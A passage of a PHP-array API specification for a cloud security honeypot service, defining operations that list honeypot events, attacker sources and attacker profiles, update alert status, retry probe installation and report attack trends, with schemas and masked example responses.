'properties' => [ 'SrcIp' => [ 'description' => 'The source IP address of the attack.'."\n", 'type' => 'string', 'example' => '192.168.62.***', ], 'DstIp' => [ 'description' => 'The destination IP address of the attack.'."\n", 'type' => 'string', 'example' => '112.126.205.***', ], 'AgentId' => [ 'description' => 'The probe ID.'."\n", 'type' => 'string', 'example' => '27d44bd5815d401992ea672874d9****', ], 'AgentName' => [ 'description' => 'The name of the probe.'."\n", 'type' => 'string', 'example' => '1193474_test_****', ], 'Protocol' => [ 'description' => 'The protocol. Valid values:'."\n" ."\n" .'* **tcp**'."\n" .'* **udp**'."\n", 'type' => 'string', 'example' => 'tcp', ], 'FirstTime' => [ 'description' => 'The timestamp at which the event was first detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1692670297', ], 'LastTime' => [ 'description' => 'The timestamp at which the event was last detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1676558664', ], 'Location' => [ 'description' => 'The region.'."\n", 'type' => 'string', 'example' => 'China Beijing', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **2**: low'."\n" .'* **3**: medium'."\n" .'* **4**: high'."\n", 'type' => 'string', 'example' => '4', ], 'HoneypotName' => [ 'description' => 'The name of the honeypot.'."\n", 'type' => 'string', 'example' => 'honeypot-2', ], 'AlarmEventId' => [ 'description' => 'The ID of the alert event.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1900752', ], 'SecurityEventId' => [ 'description' => 'The ID of the intrusion event.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '70427821', ], 'MergeFieldList' => [ 'description' => 'The extended values that correspond to the field key.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'FieldType' => [ 'description' => 'The type of the field.'."\n", 'type' => 'string', 'example' => 'level2_item1', ], 'FieldKey' => [ 'description' => 'The key of the field.'."\n", 'type' => 'string', 'example' => 'type', ], 'FieldValue' => [ 'description' => 'The value of the field key.'."\n", 'type' => 'string', 'example' => 'web_access', ], 'FieldExtInfo' => [ 'description' => 'The supplementary information about the field.'."\n", 'type' => 'string', 'example' => 'data', ], ], ], ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'LastRowKey' => [ 'description' => 'The key of the last data entry.'."\n", 'type' => 'string', 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY*********', ], 'NextToken' => [ 'description' => 'The value of the NextToken parameter that is returned by using the NextToken method.'."\n", 'type' => 'string', 'example' => 'B604532DEF982B875E8360A6EFA3B***', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FBD28009-6096-5E90-BFE6-62CCD67*****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotEvents\\": [\\n {\\n \\"SrcIp\\": \\"192.168.62.***\\",\\n \\"DstIp\\": \\"112.126.205.***\\",\\n \\"AgentId\\": \\"27d44bd5815d401992ea672874d9****\\",\\n \\"AgentName\\": \\"1193474_test_****\\",\\n \\"Protocol\\": \\"tcp\\",\\n \\"FirstTime\\": 1692670297,\\n \\"LastTime\\": 1676558664,\\n \\"Location\\": \\"北京市\\",\\n \\"RiskLevel\\": \\"4\\",\\n \\"HoneypotName\\": \\"主机 tcp监听****\\",\\n \\"AlarmEventId\\": 1900752,\\n \\"SecurityEventId\\": 70427821,\\n \\"MergeFieldList\\": [\\n {\\n \\"FieldType\\": \\"level2_item1\\",\\n \\"FieldKey\\": \\"type\\",\\n \\"FieldValue\\": \\"web_access\\",\\n \\"FieldExtInfo\\": \\"data\\"\\n }\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 20,\\n \\"LastRowKey\\": \\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY*********\\",\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"RequestId\\": \\"FBD28009-6096-5E90-BFE6-62CCD67*****\\"\\n}","type":"json"}]', 'title' => 'ListHoneypotEvents', ], 'UpdateAlarmEvent' => [ 'summary' => 'Updates the status of the honeypot installation time.', 'methods' => [ 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'AlarmEventIdList', 'in' => 'formData', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the alert event.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '945801', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'OperationCode', 'in' => 'formData', 'schema' => [ 'description' => 'The operation that you want to perform on the alert events. Valid values:'."\n" ."\n" .'* **manual_handled**: handle the alert events.'."\n" .'* **ignore**: igore the alert events.'."\n" .'* **cancel_ignore**: remove the alert events from the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ignore', ], ], [ 'name' => 'Lang', 'in' => 'formData', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'AC1E0E53-DEF3-5D96-B170-19130EA****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"AC1E0E53-DEF3-5D96-B170-19130EA****\\"\\n}","type":"json"}]', 'title' => 'UpdateAlarmEvent', ], 'RetryInstallProbe' => [ 'summary' => 'Retry installing the honeypot probe.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '133459', 'abilityTreeNodes' => [ 'FEATUREsasE5WAEJ', ], ], 'parameters' => [ [ 'name' => 'ProbeId', 'in' => 'query', 'schema' => [ 'title' => '探针id', 'description' => 'The probe ID.'."\n" ."\n" .'> You can call the [ListHoneypotProbe](~~ListHoneypotProbe~~) operation to query the IDs of probes.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c4c47cc1-f60a-4b2f-bcdb-9aed6644****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4247271-7C31-5A54-9EA1-658D96ED****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AgentNotOnline', 'errorMessage' => 'The agent not online.', ], [ 'errorCode' => 'MachineNotExist', 'errorMessage' => 'The machine does not exist.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A4247271-7C31-5A54-9EA1-658D96ED****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'RetryInstallProbe', ], 'ListHoneypotAttackerPortrait' => [ 'summary' => 'Queries the attacker profile based on the source IP address of the attack.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '158250', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'StartTimeStamp', 'in' => 'query', 'schema' => [ 'title' => 'start time', 'description' => 'The beginning of the time range to query. The value is a UNIX timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1672249044000', ], ], [ 'name' => 'EndTimeStamp', 'in' => 'query', 'schema' => [ 'title' => 'end time', 'description' => 'The end of the time range to query. The value is a UNIX timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1672285044000', ], ], [ 'name' => 'SrcIp', 'in' => 'query', 'schema' => [ 'title' => 'source ip', 'description' => 'The source IP address of the attack.'."\n", 'type' => 'string', 'required' => false, 'example' => '101.133.155.***', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The details of the attacker profile.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'PortraitId' => [ 'description' => 'The attacker profile ID.'."\n", 'type' => 'string', 'example' => 'cd48604a-1694-4f03-ade0-ec6994c3****', ], 'AttackCount' => [ 'description' => 'The number of attacks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'LastTime' => [ 'description' => 'The timestamp at which the attack was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1679896965', ], 'Host' => [ 'description' => 'The information about the hosts of the attack source.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the host of the attack source.'."\n", 'type' => 'string', 'example' => '{"memory":0,"os":"macOS 10.15.7","cpuConcurrency":4,"fonts":["Apple Braille","AppleGothic","Khmer MN","Avenir","Charter","Luminari","PingFang SC","Sukhumvit Set","Rockwell","Plantagenet Cherokee"],"touchSupport":false,"timezone":"Asia/Shanghai","language":"zh-CN","screenResolution":[2560,1440],"render":"ANGLE (Intel Inc., Intel(R) Iris(TM) Plus *** 655, OpenGL 4.1)","hasUnity":false}', ], ], 'Browser' => [ 'description' => 'The information about the browsers of the attack source.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the browser of the attack source.'."\n", 'type' => 'string', 'example' => '{"is_private":false,"bitness":"","os":"macOS 10.15.7","mobile":false,"webgl_fp2":"487f7b22f68312d2c1bbc93b1*****","fp2":"8b41770fa2b46121dc108801dc3*****","webgl_fp":"487f7b22f68312d2c1bbc93b1*****","version":"107.0.0.0","tid":"s:16697072420106186d4-82704-41d5e3.7c97b18aac8b09ab3eba4584df01df8411fc3d62fc93f3a11ad2431905*****","versionNumber":107,"canvas_fp":"62d2e519ad32dac4da26528fad*****","chrome_ext":[],"name":"Chrome","model":"","arch":"","canvasFingerprint":"62d2e519ad32dac4da26528fad*****","canvas_fp2":"62d2e519ad32dac4da26528fa*****9"}'."\n" ."\n", ], ], 'Social' => [ 'description' => 'The social information about the attack source.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The social information about the attack source.'."\n", 'type' => 'string', 'example' => '{"baidu":{"valid":true,"data":{"avatar":"https://himg.bdimg.com/sys/portrait/item/public.1.*****.lzyz1JkgdUw******","userName":"****994"}}}', ], ], 'Network' => [ 'description' => 'The network information about the attack source.'."\n", 'type' => 'object', 'properties' => [ 'ExternalIp' => [ 'description' => 'The public IP addresses.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The public IP address.'."\n", 'type' => 'string', 'example' => '39.105.62.***', ], ], 'RealIp' => [ 'description' => 'The originating IP addresses.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The originating IP address.'."\n", 'type' => 'string', 'example' => '223.104.150.***', ], ], 'InternalIp' => [ 'description' => 'The private IP addresses.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The private IP address.'."\n", 'type' => 'string', 'example' => '172.17.6.***', ], ], ], ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '25', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code that is returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '8A5A2DA6-67EA-5968-960F-6B20FD0C*****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"PortraitId\\": \\"cd48604a-1694-4f03-ade0-ec6994c3****\\",\\n \\"AttackCount\\": 10,\\n \\"LastTime\\": 1679896965,\\n \\"Host\\": [\\n \\"{\\\\\\"memory\\\\\\":0,\\\\\\"os\\\\\\":\\\\\\"macOS 10.15.7\\\\\\",\\\\\\"cpuConcurrency\\\\\\":4,\\\\\\"fonts\\\\\\":[\\\\\\"Apple Braille\\\\\\",\\\\\\"AppleGothic\\\\\\",\\\\\\"Khmer MN\\\\\\",\\\\\\"Avenir\\\\\\",\\\\\\"Charter\\\\\\",\\\\\\"Luminari\\\\\\",\\\\\\"PingFang SC\\\\\\",\\\\\\"Sukhumvit Set\\\\\\",\\\\\\"Rockwell\\\\\\",\\\\\\"Plantagenet Cherokee\\\\\\"],\\\\\\"touchSupport\\\\\\":false,\\\\\\"timezone\\\\\\":\\\\\\"Asia/Shanghai\\\\\\",\\\\\\"language\\\\\\":\\\\\\"zh-CN\\\\\\",\\\\\\"screenResolution\\\\\\":[2560,1440],\\\\\\"render\\\\\\":\\\\\\"ANGLE (Intel Inc., Intel(R) Iris(TM) Plus *** 655, OpenGL 4.1)\\\\\\",\\\\\\"hasUnity\\\\\\":false}\\"\\n ],\\n \\"Browser\\": [\\n \\"{\\\\\\"is_private\\\\\\":false,\\\\\\"bitness\\\\\\":\\\\\\"\\\\\\",\\\\\\"os\\\\\\":\\\\\\"macOS 10.15.7\\\\\\",\\\\\\"mobile\\\\\\":false,\\\\\\"webgl_fp2\\\\\\":\\\\\\"487f7b22f68312d2c1bbc93b1*****\\\\\\",\\\\\\"fp2\\\\\\":\\\\\\"8b41770fa2b46121dc108801dc3*****\\\\\\",\\\\\\"webgl_fp\\\\\\":\\\\\\"487f7b22f68312d2c1bbc93b1*****\\\\\\",\\\\\\"version\\\\\\":\\\\\\"107.0.0.0\\\\\\",\\\\\\"tid\\\\\\":\\\\\\"s:16697072420106186d4-82704-41d5e3.7c97b18aac8b09ab3eba4584df01df8411fc3d62fc93f3a11ad2431905*****\\\\\\",\\\\\\"versionNumber\\\\\\":107,\\\\\\"canvas_fp\\\\\\":\\\\\\"62d2e519ad32dac4da26528fad*****\\\\\\",\\\\\\"chrome_ext\\\\\\":[],\\\\\\"name\\\\\\":\\\\\\"Chrome\\\\\\",\\\\\\"model\\\\\\":\\\\\\"\\\\\\",\\\\\\"arch\\\\\\":\\\\\\"\\\\\\",\\\\\\"canvasFingerprint\\\\\\":\\\\\\"62d2e519ad32dac4da26528fad*****\\\\\\",\\\\\\"canvas_fp2\\\\\\":\\\\\\"62d2e519ad32dac4da26528fa*****9\\\\\\"}\\\\n\\\\n\\"\\n ],\\n \\"Social\\": [\\n \\"{\\\\\\"baidu\\\\\\":{\\\\\\"valid\\\\\\":true,\\\\\\"data\\\\\\":{\\\\\\"avatar\\\\\\":\\\\\\"https://himg.bdimg.com/sys/portrait/item/public.1.*****.lzyz1JkgdUw******\\\\\\",\\\\\\"userName\\\\\\":\\\\\\"山的****994\\\\\\"}}}\\"\\n ],\\n \\"Network\\": {\\n \\"ExternalIp\\": [\\n \\"39.105.62.***\\"\\n ],\\n \\"RealIp\\": [\\n \\"223.104.150.***\\"\\n ],\\n \\"InternalIp\\": [\\n \\"172.17.6.***\\"\\n ]\\n }\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 2,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 25,\\n \\"Count\\": 11\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"8A5A2DA6-67EA-5968-960F-6B20FD0C*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListHoneypotAttackerPortrait', ], 'GetHoneypotEventTrend' => [ 'summary' => 'Obtain attack trend statistics for a single attack source.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SrcIp', 'in' => 'query', 'schema' => [ 'title' => 'source ip', 'description' => 'The source IP address of the attack.'."\n", 'type' => 'string', 'required' => true, 'example' => '10.91.254.***', ], ], [ 'name' => 'StartTimeStamp', 'in' => 'query', 'schema' => [ 'title' => 'start time', 'description' => 'Start time, timestamp format.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1683516557757', ], ], [ 'name' => 'EndTimeStamp', 'in' => 'query', 'schema' => [ 'title' => 'end time', 'description' => 'End time, timestamp format.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1687831329169', ], ], [ 'name' => 'RiskLevelList', 'in' => 'query', 'style' => 'flat', 'schema' => [ 'title' => 'risk level', 'description' => 'The risk levels of the alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk levels.'."\n", 'type' => 'string', 'required' => false, 'example' => '4', ], 'required' => false, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The returned result data list.', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The list of data returned. ', 'type' => 'array', 'items' => [ 'description' => 'Details of the data returned.', 'type' => 'object', 'properties' => [ 'KeyName' => [ 'title' => 'trend key name', 'description' => 'The name of the attack.', 'type' => 'string', 'example' => 'ATTACK_EVENT', ], 'Count' => [ 'title' => 'trend key count', 'description' => 'The number of attacks that occurred.', 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'TimeStamp' => [ 'title' => 'trend key count', 'description' => 'The timestamp when the attack event occurred.', 'type' => 'integer', 'format' => 'int64', 'example' => '1686968163644', ], ], ], ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '21637690-9B21-5EEC-94DB-2A732480****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"KeyName\\": \\"ATTACK_EVENT\\",\\n \\"Count\\": 5,\\n \\"TimeStamp\\": 1686968163644\\n }\\n ],\\n \\"Count\\": 5,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"21637690-9B21-5EEC-94DB-2A732480****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'Obtain the attack volume trend of honeypot attack sources', ], 'ListHoneypotAttackerSource' => [ 'summary' => 'Queries the attack source IP addresses that are used to attack a honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '158251', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'SrcIp', 'in' => 'query', 'schema' => [ 'title' => 'source ip', 'description' => 'The source IP address of the attack.'."\n", 'type' => 'string', 'required' => false, 'example' => '175.136.230.***', ], ], [ 'name' => 'StartTimeStamp', 'in' => 'query', 'schema' => [ 'title' => 'start time', 'description' => 'The beginning of the time range to query. This value is a timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1674007632124', ], ], [ 'name' => 'EndTimeStamp', 'in' => 'query', 'schema' => [ 'title' => 'end time', 'description' => 'The end of the time range to query. This value is a timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1676945366221', ], ], [ 'name' => 'RiskLevelList', 'in' => 'query', 'style' => 'flat', 'schema' => [ 'title' => 'risk level', 'description' => 'An array that consists of risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **2**: low'."\n" .'* **3**: medium'."\n" .'* **4**: high'."\n", 'type' => 'string', 'required' => false, 'example' => '3', ], 'required' => false, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'The data returned by page.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The source IP addresses of the attack.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'EventCount' => [ 'description' => 'The total number of attack events.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'LastTime' => [ 'description' => 'The last time when the attack event occurred.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1693446913000', ], 'LastTargetHoneypot' => [ 'description' => 'The most recent honeypot that was attacked.'."\n", 'type' => 'string', 'example' => 'vpc tcp honeypot', ], 'LastTargetIp' => [ 'description' => 'The most recent IP address that was attacked.'."\n", 'type' => 'string', 'example' => '144.23.66.***', ], 'SrcIp' => [ 'description' => 'The source IP address of the attack.'."\n", 'type' => 'string', 'example' => '101.102.61.***', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **2**: low'."\n" .'* **3**: medium'."\n" .'* **4**: high'."\n", 'type' => 'string', 'example' => '2', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '55', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9915DC4D-B4DA-5140-8138-FD80636*****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"EventCount\\": 30,\\n \\"LastTime\\": 1693446913000,\\n \\"LastTargetHoneypot\\": \\"vpc tcp 蜜罐\\",\\n \\"LastTargetIp\\": \\"144.23.66.***\\",\\n \\"SrcIp\\": \\"101.102.61.***\\",\\n \\"RiskLevel\\": \\"2\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"9915DC4D-B4DA-5140-8138-FD80636*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListHoneypotAttackerSource', ], 'UpdateCommonSwitchConfig' => [ 'summary' => 'Modifies the settings of common switches.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 